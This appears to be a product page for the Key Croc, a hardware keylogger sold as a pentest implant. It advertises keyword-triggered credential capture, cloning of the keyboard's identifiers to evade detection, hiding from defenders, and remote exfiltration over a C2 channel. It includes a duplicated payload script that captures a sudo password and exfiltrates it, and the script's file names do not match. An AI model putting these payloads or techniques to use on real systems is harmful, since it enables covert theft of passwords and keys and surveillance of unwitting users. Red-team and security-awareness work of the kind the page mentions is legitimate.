🐊
Key Croc
Smart Keylogger & Pentest Implant
A keylogger armed with pentest tools, remote access, and payloads that trigger multi-vector attacks when chosen keywords are typed. The ultimate covert implant.
KEYWORD TRIGGERED
WIFI ENABLED
DUCKYSCRIPT 2.0
CLOUD C²
LINUX
STEALTH MODE
// Overview
More Than a Keylogger
The Key Croc sits invisibly between a keyboard and a target computer. Out of the box it records every keystroke — but that's just the beginning. It watches for keywords and patterns in real time, triggering payloads the moment something interesting is typed. A user types "sudo"? Capture the password that follows. Someone enters their email credentials? Exfiltrate them to Cloud C² instantly. It clones the connected keyboard's hardware identifiers, making it undetectable to the host system.
// Kill Chain
Implant → Intercept → Trigger → Exfiltrate
01
Implant
Plug between keyboard and target — boots in seconds
02
Intercept
Passthrough keystrokes while silently logging everything
03
Trigger
MATCH keyword patterns fire attack payloads
04
Exfiltrate
Loot sent via WiFi to Cloud C² — anywhere in the world
// Pattern Matching
Keyword-Triggered Payloads
The MATCH system watches keystrokes in real time. When a pattern or keyword is detected, the assigned payload fires automatically. Supports strings, single keys, and full regex.
MATCH sudo
Capture sudo password — SAVEKEYS captures everything typed after "sudo" until Enter is pressed, then exfiltrates the password.
MATCH password
Credential harvest — Triggers SAVEKEYS NEXT to log the following keystrokes, capturing whatever is typed into the password field.
MATCH ssh root@
SSH session capture — Logs the target host and subsequent authentication, revealing infrastructure and credentials.
MATCH [REGEX]
Regex patterns — Match credit card formats, email addresses, API keys, or any custom pattern using full regular expressions.
MATCH [CAPS_LOCK]
Single key triggers — Fire payloads on specific key events. Useful for detecting when a user locks their workstation.
MATCH vpn connect
VPN detection — Detect when a user connects to VPN and trigger network reconnaissance while the tunnel is active.
// Hardware Specs
Specifications
Processor
Quad-core 1.2 GHz ARM CPU
Storage
8 GB desktop-class SSD
WiFi
Integrated 2.4 GHz antenna
SSH & Cloud C² access
SSH & Cloud C² access
Interface
USB 2.0 passthrough
74 × 27 × 14 mm
74 × 27 × 14 mm
Controls
Hidden arming button
RGB LED (off during stealth)
RGB LED (off during stealth)
Operating System
Debian Linux — root access
nmap, Responder, Impacket, Metasploit
nmap, Responder, Impacket, Metasploit
Power
5W (USB 5V 1A)
Powered by host
Powered by host
Operating Temp
35°C – 45°C
0% – 90% humidity
0% – 90% humidity
// Capabilities
Key Features
▸
Smart Keylogging — SAVEKEYS with LAST, NEXT, and UNTIL parameters. Capture N keys before/after a trigger, or record until a regex match fires.
▸
Detection Evasion — Automatically clones the VID, PID, serial number, and manufacturer string of the attached keyboard. Completely invisible to the host.
▸
Keystroke Injection — DuckyScript 2.0 injects keystrokes into the target. Combine logging with active exploitation in a single payload.
▸
Network Hijacking — Emulate USB Ethernet (RNDIS/ECM) to get direct network access to the target, bypassing IDS and perimeter firewalls.
▸
Cloud C² — Remote access from anywhere via browser. Watch keystrokes in real time, inject keystrokes live, manage payloads, exfiltrate loot, and get a root shell.
▸
Protected Arming Mode — Password-protect the arming button to prevent Blue Teamers from accessing the device's configuration during deployments.
▸
Multi-Vector Attack Modes — Simultaneously emulate HID, Ethernet, Storage, and Serial. Combine vectors for complex automated attack chains.
▸
Environment Variables — GET_VARS exports $TARGET_IP, $TARGET_HOSTNAME, $HOST_IP, $VID, $PID and more for context-aware payload scripting.
// Payload Example
Sudo Password Capture & Exfiltration
This payload silently captures the sudo password when the target types "sudo", then exfiltrates it to Cloud C² for remote retrieval.
# Capture sudo password and exfiltrate via Cloud C²
MATCH sudo
# Save keystrokes until Enter is pressed twice
SAVEKEYS /root/loot/password.txt UNTIL \[ENTER\](.*?)\[ENTER\]
# Wait for the loot file to be written
WAIT_FOR_LOOT /root/loot/sudo-pass.txt
# Exfiltrate to Cloud C² with label
C2EXFIL STRING /root/loot/sudo-pass.txt.filtered PASSWD C2
MATCH sudo
# Save keystrokes until Enter is pressed twice
SAVEKEYS /root/loot/password.txt UNTIL \[ENTER\](.*?)\[ENTER\]
# Wait for the loot file to be written
WAIT_FOR_LOOT /root/loot/sudo-pass.txt
# Exfiltrate to Cloud C² with label
C2EXFIL STRING /root/loot/sudo-pass.txt.filtered PASSWD C2
// Use Cases
Deployment Scenarios
Credential Harvesting
Capture passwords, API keys, SSH keys, and any credentials as they're typed. MATCH patterns ensure nothing is missed.
Long-Term Implant
Deploy during physical access, then monitor remotely via Cloud C² for weeks. Protected arming mode prevents discovery.
Corporate Red Team
Plant during social engineering engagements. Capture credentials, map internal networks via Ethernet mode, exfiltrate documents.
Insider Threat Simulation
Demonstrate the risk of unmonitored USB ports. Show stakeholders how easily a hardware implant intercepts sensitive data.
IT Automation
Trigger administrative scripts when specific commands are typed. Automate repetitive workflows with keyword-driven macros.
Security Awareness
Demonstrate keylogger risks in training environments. Show why USB port security and endpoint monitoring matter.